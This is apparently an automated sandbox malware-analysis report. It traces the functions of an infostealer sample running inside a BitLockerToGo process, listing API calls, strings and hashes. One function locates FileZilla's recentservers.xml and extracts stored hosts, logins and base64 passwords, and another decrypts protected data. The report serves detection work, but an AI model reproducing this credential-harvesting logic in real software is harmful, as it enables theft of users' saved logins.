Opcode Fuzzy Hash: ace0ffa0fe90d0189e04c56b7f667d348ca0cc9868648b44dcbaf06e090ed57c
Instruction Fuzzy Hash: DF3116B4A41218ABEB20DF54DD88BDDB7B4FB48704F1081D8FB09A7284D7706AC58F98

Function 03017B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

GetKeyboardLayoutList.USER32(00000000,00000000,030205AF), ref: 03017BE1
LocalAlloc.KERNEL32(00000040,?), ref: 03017BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 03017C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 03017C62
LocalFree.KERNEL32(00000000), ref: 03017D22

Strings

/ , xrefs: 03017C7F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 340312ccfc71ec4f54423e031f95974c664b4c5f282b2d1bdab97239308211a3
Instruction ID: 576e995357c97a6c95f9a08c79d703fb1d4270a681076a742fd4fae8217ca5e7
Opcode Fuzzy Hash: 340312ccfc71ec4f54423e031f95974c664b4c5f282b2d1bdab97239308211a3
Instruction Fuzzy Hash: AD413D75942218ABDB24DB94EC98FEEB7B8FB44710F1041D9E00966180DB746F96CFA0

Function 0300E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,03020D73), ref: 0300E4A2
StrCmpCA.SHLWAPI(?,030214F8), ref: 0300E4F2
StrCmpCA.SHLWAPI(?,030214FC), ref: 0300E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0300EBDF

Strings

\*.*, xrefs: 0300E44D

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 750fe043c690daaea065b0be3ca011eb17869531cfe672ab91792838b7c28043
Instruction ID: 45c23b7684452c98b95db24cfb41375c004396e6e8f49cb817385407da911068
Opcode Fuzzy Hash: 750fe043c690daaea065b0be3ca011eb17869531cfe672ab91792838b7c28043
Instruction Fuzzy Hash: 5412677AA133149BDB18FB70DD94EEE7338AF94310F404599A50A5A190EF706F5ACFA0

Function 03019600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0301961E
Process32First.KERNEL32(03020ACA,00000128), ref: 03019632
Process32Next.KERNEL32(03020ACA,00000128), ref: 03019647
StrCmpCA.SHLWAPI(?,00000000), ref: 0301965C
CloseHandle.KERNEL32(03020ACA), ref: 0301967A

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e019e8d8bf303b68c54d946bc63305a95a7e7572573383b8ba8c63c02f8415f1
Instruction ID: 33ac0988f9286413c97f89756bb50692431d7943359dca992e5de1f4f00f533b
Opcode Fuzzy Hash: e019e8d8bf303b68c54d946bc63305a95a7e7572573383b8ba8c63c02f8415f1
Instruction Fuzzy Hash: C2012579A51208EBCB14DFA5D958BDDB7F8FF48700F008188A50597244D7349B50CFA0

Function 03009B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 03009B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 03009BA3
memcpy.MSVCRT(?,?,?), ref: 03009BC6
LocalFree.KERNEL32(?), ref: 03009BD3

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c88439f8942b274aad724bb9ec88cee880832341eba12ef69bc4a64a445f8db2
Instruction ID: edf40bb30e1ee95a025fd30c12d2d0a7b3b8b5edd36b00c63700a0fea685bbfb
Opcode Fuzzy Hash: c88439f8942b274aad724bb9ec88cee880832341eba12ef69bc4a64a445f8db2
Instruction Fuzzy Hash: 0311BAB8A00209EFDB04DF94D989AAEB7F5FF88304F104558E91597394D774AE50CF61

Function 03017A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,03555F28,00000000,?,03020E10,00000000,?,00000000,00000000), ref: 03017A63
RtlAllocateHeap.NTDLL(00000000), ref: 03017A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,03555F28,00000000,?,03020E10,00000000,?,00000000,00000000,?), ref: 03017A7D
wsprintfA.USER32 ref: 03017AB7

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: e3e0fb6b9507e79d8c374bc2d4851707a5349562b7e314bffb4938cc7d5ecf97
Instruction ID: 4d75731ba4c3e5244998a2b97a9316662a2d2a58fab45549f14327a322f33224
Opcode Fuzzy Hash: e3e0fb6b9507e79d8c374bc2d4851707a5349562b7e314bffb4938cc7d5ecf97
Instruction Fuzzy Hash: FC1152B1946228DFEB10DB54EC49FAAB7B8F744711F004795E51693280D7745A44CF51

Function 03017850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,030011B7), ref: 03017880
RtlAllocateHeap.NTDLL(00000000), ref: 03017887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0301789F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 7170628863fa0e261dc163437cf8962038cc222a4faf9d27f898f6dc0316a022
Instruction ID: 43c1f7c83430484d8ab736c067ceebd3f7b71a7f59eb26d7c35628ad76d9a3d7
Opcode Fuzzy Hash: 7170628863fa0e261dc163437cf8962038cc222a4faf9d27f898f6dc0316a022
Instruction Fuzzy Hash: 07F04FB5985208EFC710DF98E949BAEBBB8EB04B11F10465AFA15A2680C77415048BA1

Function 03017ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(03020E2C), ref: 03017F00
wsprintfA.USER32 ref: 03017F16

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ee2d397246628077d00c16b0ca79215db3a5a111e065cfd3548694313971430e
Instruction ID: 4f4ff272cdc2142c07cf4ca5f809034abbc4e654df17799356b8b655075a6e7a
Opcode Fuzzy Hash: ee2d397246628077d00c16b0ca79215db3a5a111e065cfd3548694313971430e
Instruction Fuzzy Hash: 02F0F6B1940218EFCB10DF84EC45FAEF7BCF744A10F004669F51592640D37529048BD0

Function 03010250 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 030099EC
Part of subcall function 030099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 03009A11
Part of subcall function 030099C0: LocalAlloc.KERNEL32(00000040,?), ref: 03009A31
Part of subcall function 030099C0: ReadFile.KERNEL32(000000FF,?,00000000,030102E7,00000000), ref: 03009A5A
Part of subcall function 030099C0: LocalFree.KERNEL32(030102E7), ref: 03009A90
Part of subcall function 030099C0: CloseHandle.KERNEL32(000000FF), ref: 03009A9A

Part of subcall function 03018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 03018E52

strtok_s.MSVCRT ref: 0301031B
GetProcessHeap.KERNEL32(00000000,000F423F,03020DBA,03020DB7,03020DB6,03020DB3), ref: 03010362
RtlAllocateHeap.NTDLL(00000000), ref: 03010369
StrStrA.SHLWAPI(00000000,<Host>), ref: 03010385
lstrlen.KERNEL32(00000000), ref: 03010393

Part of subcall function 030188E0: malloc.MSVCRT ref: 030188E8
Part of subcall function 030188E0: strncpy.MSVCRT ref: 03018903

StrStrA.SHLWAPI(00000000,<Port>), ref: 030103CF
lstrlen.KERNEL32(00000000), ref: 030103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 03010419
lstrlen.KERNEL32(00000000), ref: 03010427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 03010463
lstrlen.KERNEL32(00000000), ref: 03010475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,03020DB2), ref: 03010502
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0301051A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 03010532
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0301054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 03010562
lstrcat.KERNEL32(?,profile: null), ref: 03010571
lstrcat.KERNEL32(?,url: ), ref: 03010580
lstrcat.KERNEL32(?,00000000), ref: 03010593
lstrcat.KERNEL32(?,03021678), ref: 030105A2
lstrcat.KERNEL32(?,00000000), ref: 030105B5
lstrcat.KERNEL32(?,0302167C), ref: 030105C4
lstrcat.KERNEL32(?,login: ), ref: 030105D3
lstrcat.KERNEL32(?,00000000), ref: 030105E6
lstrcat.KERNEL32(?,03021688), ref: 030105F5
lstrcat.KERNEL32(?,password: ), ref: 03010604
lstrcat.KERNEL32(?,00000000), ref: 03010617
lstrcat.KERNEL32(?,03021698), ref: 03010626
lstrcat.KERNEL32(?,0302169C), ref: 03010635
strtok_s.MSVCRT ref: 03010679
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,03020DB2), ref: 0301068E
memset.MSVCRT ref: 030106DD

Strings

url: , xrefs: 03010577
password: , xrefs: 030105FB
<Port>, xrefs: 030103C6
<Pass encoding="base64">, xrefs: 0301045A
profile: null, xrefs: 03010568
<Host>, xrefs: 0301037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 030102A4
<User>, xrefs: 03010410
browser: FileZilla, xrefs: 03010559
login: , xrefs: 030105CA

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeapstrtok_s$AllocateCloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 3689735781-555421843
Opcode ID: 30818e637d3979d285c1f848fc1ead1f803e87dbaf05661e3154c7974fa4c6aa
Instruction ID: 0f02f9d7453abcf381e95eb025e08f7849b88d0e21caffa312b3f925365acbfb
Opcode Fuzzy Hash: 30818e637d3979d285c1f848fc1ead1f803e87dbaf05661e3154c7974fa4c6aa
Instruction Fuzzy Hash: 4DD13279A42208ABDB04FBF4DD99EEE7778FF54310F548418F102AA184DF74AA56CB60

Function 03019860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,03543038), ref: 030198A1
GetProcAddress.KERNEL32(75550000,03543050), ref: 030198BA
GetProcAddress.KERNEL32(75550000,03543068), ref: 030198D2
GetProcAddress.KERNEL32(75550000,03543080), ref: 030198EA
GetProcAddress.KERNEL32(75550000,03543098), ref: 03019903
GetProcAddress.KERNEL32(75550000,035430B0), ref: 0301991B
GetProcAddress.KERNEL32(75550000,03544358), ref: 03019933
GetProcAddress.KERNEL32(75550000,03544378), ref: 0301994C
GetProcAddress.KERNEL32(75550000,03544398), ref: 03019964
GetProcAddress.KERNEL32(75550000,035443B0), ref: 0301997C
GetProcAddress.KERNEL32(75550000,035443C8), ref: 03019995
GetProcAddress.KERNEL32(75550000,035404B0), ref: 030199AD
